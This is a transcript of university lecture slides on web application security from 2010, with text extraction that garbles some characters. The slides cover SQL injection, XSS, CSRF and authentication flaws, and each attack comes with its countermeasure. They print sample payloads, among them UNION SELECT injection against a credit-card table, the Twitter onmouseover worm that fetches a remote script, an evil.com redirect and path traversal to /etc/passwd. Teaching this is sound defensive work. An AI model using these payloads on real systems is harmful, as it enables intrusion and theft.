15-websec · title: 15-websec.ppt author: marco cova created date: 11/29/2010 11:09:14 am
Post on 29-Jan-2021
0 Views
Preview:
TRANSCRIPT
-
Web Security
ICW 2010 Lectures 15–16
-
Program for today
• Common web applicaAon vulnerabiliAes – SQL injecAon – Cross-‐site scripAng (XSS) – Cross-‐site request forgery (CSRF)
• Other security issues – AuthenAcaAon – AuthorizaAon
-
SQL INJECTION
-
SQL injecAon
• Input validaAon vulnerability • SQL queries are built using (unsaniAzed) data provided by the users
String q = "SELECT user, pwd FROM users ” + "WHERE user= ‘" + request.getParameter("user") + ”’ ”;
• By using special characters such as ‘ (Ack), -‐-‐ (comment), + (space), % (wildcard), it is possible to: – Modify queries in an unexpected way – Probe the database – Run commands (e.g., using xp_commandshell in MS SQL Server)
-
SQL injecAon
HTTP Request
POST /login?user=foo&p=bar
SQL Query
SELECT user, pwd FROM users WHERE user = ‘foo’
-
SQL injecAon
HTTP Request
POST /login?u=‘+OR+1
-
SQL injecAon
-
IdenAfying SQL injecAons
• “NegaAve approach”: inject special-‐meaning characters that are likely to cause an error: – user=‘ – user=#
• “PosiAve approach”: inject expression and check if it is interpreted: – user=‘ OR 1=1#
• the expression user=‘’ OR 1=1 is true whether or not user is equal to ‘’
• The # comments out the rest of the SQL query (MySQL specific)
-
ExploiAng SQL injecAons
• Take advantage of server’s error messages to learn the structure of the database and its tables You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from user' at line 1
-
ExploiAng SQL injecAons
• Take advantage of server’s error messages to learn the structure of the database and its tables You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from user' at line 1
-
ExploiAng different statement types
• INSERT INTO users (user, pwd, privs) VALUES (‘foo’, ‘bar’, 1)
• Suppose user field is vulnerable • A_acker submits:
foo’, ‘bar’, 0) #
• User foo is now registered with administraAve privileges (0)
-
ExploiAng different statement types
• UPDATE users SET pwd = ‘newbar’ WHERE user = ‘foo’ AND pwd = ‘bar’
• Again, user field is vulnerable • A_acker submits admin’ #
• A_acker resets the admin’s password to a string of his/her choice
-
ExploiAng SQL injecAon – cont’d
• You idenAfied a SQL injecAon in the SELECT query used in the login page SELECT user, pwd FROM users WHERE user = ‘ + request.getParameter(“user”)
• Great, you can enumerate all the users and their passwords
• What if you are interested in the content of the credit_card table?
• UNION operator to the rescue foo’ UNION SELECT cc_n, cc_name FROM credit_card
-
SoluAons to SQL injecAon
• Developers must always saniAze user-‐provided data
• Use prepared statements instead of manually composing queries
-
To know more – SQL injecAon
C. Anley, Advanced SQL Injec.on In SQL Server
Applica.ons, h_p://www.ngssooware.com/papers/more_advanced_sql_injecAon.pdf
-
CROSS SITE SCRIPTING (XSS)
-
Cross-‐site scripAng (XSS)
• Input validaAon vulnerability • Allows an a_acker to inject client-‐side code (JavaScript) into web pages served by a vulnerable web applicaAon
-
Cross-‐site scripAng (XSS)
1. A_acker injects malicious code into vulnerable web server
-
Cross-‐site scripAng (XSS)
GET /posts Cookie: s=01a4b8
1. A_acker injects malicious code into vulnerable web server 2. VicAm visits vulnerable web server
-
Cross-‐site scripAng (XSS)
1. A_acker injects malicious code into vulnerable web server 2. VicAm visits vulnerable web server 3. Malicious code is served to vicAm by web server
HTTP/1.1 200 OK … …
-
Cross-‐site scripAng (XSS)
1. A_acker injects malicious code into vulnerable web server 2. VicAm visits vulnerable web server 3. Malicious code is served to vicAm by web server 4. Malicious code executes on the vicAms with web server’s
privileges
GET /log?s=01a4b8
-
Reflected XSS
• The injected code is reflected off the web server – an error message, – search result, – any response that includes
some or all of the input sent to the server as part of the request
• Only the user issuing the malicious request is affected
String searchQuery = request.getParameter(“searchQuery”); … PrintWriter out = response.getWriter(); out.println(“” + “Results for “ + searchQuery + “”);
User request: searchQuery=alert(“pwnd”)
-
Stored XSS
• The injected code is stored on the web site and served to its visitors on all page views – User messages – User profiles
• All users affected
String postMsg = db.getPostMsg(0); … PrintWriter out = response.getWriter(); out.println(“
” + postMsg);
postMsg: alert(“pwnd”)
-
Real-‐world XSS: the Twi_er onmouseover bug
• Twi_er “autolinks” text that appears to be a link – User posts www.site.com, twi_er generates www.site.com
• How was twi_er detecAng text “that appears to be a link”? Regular expression: REGEXEN[:valid_general_url_path_chars] =
/[a-‐z0-‐9!\*';:=\+\$\/%#\[\]\-‐_,~]/i REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:valid_general_url_path_chars]} | @[^\/]+\/| /i
• What happens if somebody tweets: http://judofyr.net/@"style="background:#000;color:#000;/
…
-
Real-‐world XSS: From bug to worm
• What happens if somebody tweets: http://t.co/@"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
-
Real-‐world XSS: aoermath
Image courtesy of http://nakedsecurity.sophos.com/2010/09/21/twitter-onmouseover-security-flaw-widely-exploited/
-
XSS a_acks: “defacement”
• A_acker injects script that automaAcally redirects vicAms to a_acker’s site
document.location = “http://evil.com”;
-
XSS a_acks: phishing
• A_acker injects script that reproduces look-‐and-‐feel of “interesAng” site (e.g., paypal, login page of the site itself)
• Fake page asks for user’s credenAals or other sensiAve informaAon
• The data is sent to the a_acker’s site
-
XSS a_acks: privacy violaAon
• The a_acker injects a script that determines the sites the vicAms has visited in the past
• This informaAon can be leveraged to perform targeted phishing a_acks
-
XSS a_acks: run exploits
• The a_acker injects a script that launches a number of exploits against the user’s browser or its plugins
• If the exploits are successful, malware is installed on the vicAm’s machine without any user intervenAon
• Ooen, the vicAm’s machine becomes part of a botnet
-
Drive-‐by-‐download a_acks
31
-
Drive-‐by-‐download a_acks
32
-
SoluAon for injecAon: saniAzaAon • SaniAze all user inputs that may be used in sensiAve operaAons • SaniAzaAon is context-‐dependent
– HTML element content user input!
– HTML a_ribute value …!
– JavaScript data user input!
– CSS value span a:hover { color: user input }!
– URL value !
• SaniAzaAon is a_ack-‐dependent – XSS – SQL injecAon
-
SaniAzaAon – cont’d
• BlacklisAng vs. whitelisAng • Roll-‐your-‐own vs. reuse
-
35
Spot the problem (1)
$www_clean = ereg_replace( “[^A-Za-z0-9 .-@://]”, “”, $www); echo $www_clean;!
-
36
Spot the problem (1)
• Problem: in a character class, ‘.-@’ means “all characters included between ‘.’ and ‘@’”!
• A_ack string: !
• Regular expressions can be tricky
$www_clean = ereg_replace( “[^A-Za-z0-9 .-@://]”, “”, $www); echo $www_clean;!
-
37
Spot the problem (2)
function removeEvilAttributes($tag) { $stripAttrib = ‘javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup|style|onload|onchange’; return preg_replace( “/$stringAttrib/i”, “forbidden”, $tag); }!
-
38
Spot the problem (2)
• Problem: missing evil a_ribute: onfocus • A_ack string:
…!• Black-‐list solu.ons are difficult to get right
function removeEvilAttributes($tag) { $stripAttrib = ‘javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup|style|onload|onchange’; return preg_replace( “/$stringAttrib/i”, “forbidden”, $tag); }!
-
39
Spot the problem (3)
$clean = preg_replace(“#(.*?)#i”, “SCRIPT BLOCKED”, $value); echo $clean;!
-
40
Spot the problem (3)
• Problem: over-‐restricAve saniAzaAon: browsers accept malformed input!
• A_ack string: malicious code
$clean = preg_replace(“#(.*?)#i”, “SCRIPT BLOCKED”, $value); echo $clean;!
-
CROSS-‐SITE REQUEST FORGERY (CSRF)
-
Cross-‐site request forgery (CSRF)
1. VicAm is logged into vulnerable web site
GET /posts Cookie: s=01a4b8
-
Cross-‐site request forgery (CSRF)
1. VicAm is logged into vulnerable web site 2. VicAm visits malicious page on a_acker web site
GET /index.html
-
Cross-‐site request forgery (CSRF)
1. VicAm is logged into vulnerable web site 2. VicAm visits malicious page on a_acker web site 3. Malicious content is delivered to vicAm
HTTP 1.1 200 OK …
-
Cross-‐site request forgery (CSRF)
1. VicAm is logged into vulnerable web site 2. VicAm visits malicious page on a_acker web site 3. Malicious content is delivered to vicAm 4. VicAm involuntarily sends a request to the vulnerable web site
GET /delete Cookie: s=01a4b8
-
SoluAons to CSRF (1)
• Use POST requests instead of GET requests • Easy for an a_acker to generate POST requests: var f = document.getElementById(‘f’); f.submit();
-
SoluAons to CSRF (2)
• Check the value of the Referer header • A_acker cannot spoof the value of the Referer header (modulo bugs in the browser)
• LegiAmate requests may be stripped of their Referer header – Proxies – Web applicaAon firewalls
-
SoluAons to CSRF (3)
• Every Ame a form is served, add an addiAonal parameter with a secret value (token) and check that it is valid upon submission
-
SoluAons to CSRF (3)
• Every Ame a form is served, add an addiAonal parameter with a secret value (token) and check that it is valid upon submission
• If the a_acker can guess the token value, then no protecAon
-
SoluAons to CSRF (3)
• Every @me a form is served, add an addiAonal parameter with a secret value (token) and check that it is valid upon submission
• If the token is not regenerated each Ame a form is served, the applicaAon may be vulnerable to replay a_acks (nonce)
-
SoluAons to CSRF (4)
• Check the value of the Origin header • It only include the protocol and the domain, not the full path of the requesAng URL – Less privacy concerns – Not stripped by firewalls, proxies
-
To know more – CSRF
A. Barth, C. Jackson, J. Mitchell, Robust Defenses for Cross-‐Site Request Forgery, h_p://seclab.stanford.edu/websec/csrf/csrf.pdf
-
OTHER WEBAPP SECURITY ISSUES
AuthenAcaAon
AuthorizaAon
ConfidenAality
-
AuthenAcaAng web users
• IP address-‐based • HTTP-‐based • CerAficate-‐based • Form-‐based
-
AuthenAcaAng web users
• IP address-‐based – NAT may cause several users to share the same IP – DHCP may cause same user to have different Ips
• HTTP-‐based – Hard to scale and manage at the applicaAon level
• CerAficate-‐based – Who has a cerAficate and what is it, anyways?
• Form-‐based – CredenAals may be sent in the clear
-
Simple authenAcaAon scheme
• A form is used to send credenAals (over HTTPS) to a web applicaAon
• ApplicaAon – Verifies the credenAals, e.g., against database – Generates a session authenAcator which is sent back to the user
• Set-‐Cookie: auth=marco:secret • When browser contacts the web site again, it will include the session authenAcator – Cookie: auth=marco:secret
• ApplicaAon uses the session authenAcator to authenAcate the user
-
Be_er authenAcaAon scheme
• Problems with session authenAcator – AuthenAcator should not be reusable across sessions
• Use a randomly-‐generated session idenAfier – Hard to guess – Cannot be reused
• Set-‐Cookie: JSESSIONID=1234567890
-
Eavesdropping
• If the connecAon is not encrypted, possible to eavesdrop 18:10:34.165024 IP6 localhost.60154 > localhost.http: Flags [P.], seq 1:235, ack 1, win 65535, options [nop,nop,TS val 900599683 ecr 900599683], length 234 `.... .@...................................P....*.............. 5...5...POST / HTTP/1.1 Host: localhost Content-‐Length: 21 Content-‐Type: application/x-‐www-‐form-‐urlencoded
user=marco&pwd=secret
-
Eavesdropping cookies: firesheep
-
Eavesdropping – cont’d
• Same issues with – HTTP basic authenAcaAon – Hidden field in form – Cookie
• Countermeasure for cookie – Set the secure flag – Cookie is sent only over secure connecAons, e.g., HTTPS Cookie secureCookie = new Cookie(“credential”,c); secureCookie.setSecure(true);
-
Brute forcing
• If authenAcator (e.g., session idenAfier) has limited value domain – 4-‐digit PIN
• If authenAcator is not random – SequenAal session idenAfiers – Time-‐dependent values
-
Bypassing authenAcaAon
• Weak password recovery procedure – StaAsAcally weak answers
• Eye color (few choices) • Name of wife (unmarried populaAon)
– Publicly available informaAon • Public records
– InformaAon known to acquaintances • What high school did you a_end
-
AuthorizaAon a_acks
• Directory traversal a_acks – GET /show.jsp?file=../WEB-‐INF/web.xml – GET /show.jsp?file=..%2f..%2f..%2fetc%2fpasswd
• Forceful browsing – Developers ooen assume that web applicaAon will be accessed through links, following “intended paths”
– However, user can jump to any publicly available resource
-
AuthorizaAon a_acks – cont’d
• Parameter manipulaAon – Web applicaAon uses a parameter to determine the resource to access (e.g., paperid in a conference submission webapp)
– If web applicaAon does not validate the provided parameter, user can gain unauthorized access to resource
• GET /papers/show.jsp?paperid=1234 • GET /papers/show.jsp?paperid=1235
• Parameter creaAon – If applicaAon blindly accepts parameters
• GET /papers/delete.jsp?paperid=1235&admin=1
-
To know more – AuthenAcaAon
Kevin Fu, Emil Sit, Kendra Smith, and Nick Feamster, Dos and Don'ts of Client Authen.ca.on on the
Web h_p://pdos.csail.mit.edu/papers/
webauth:sec10.pdf
-
REFERENCES, TOOLS
-
Tools: mod_security
h_p://www.modsecurity.org/
-
Tools: PHPIDS
h_p://php-‐ids.org/
-
Tools: log analyzers
Tools: logwatch, SWATCH, …
-
Resources • Guides
– D. Stu_ard, M. Pinto, “The Web ApplicaAon Hacker's Handbook: Discovering and ExploiAng Security Flaws”, Wiley, 2008
– OWASP, “Top Ten Project”, h_p://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
– PHP Security ConsorAum, “PHP Security Guide”, h_p://phpsec.org/projects/guide/
– “Ruby On Rails Security Guide”, h_p://guides.rubyonrails.org/security.html
• SQL injecAon – C. Anley, “Advanced SQL InjecAon In SQL Server ApplicaAons”,
h_p://www.ngssooware.com/papers/advanced_sql_injecAon.pdf – K. Spe_ , “Blind SQL InjecAon”,
h_p://p17-‐linuxzone.de/docs/pdf/Blind_SQL_InjecAon.pdf
-
Resources (cont’d)
• XSS – A. Klein, “Cross Site ScripAng Explained”, h_p://crypto.stanford.edu/cs155/papers/CSS.pdf
– A. Klein, “DOM Based Cross Site ScripAng”, h_p://www.webappsec.org/projects/arAcles/071105.shtml
– RSnake, “XSS (Cross Site ScripAng) Cheat Sheet Esp: for filter evasion”, h_p://ha.ckers.org/xss.html
top related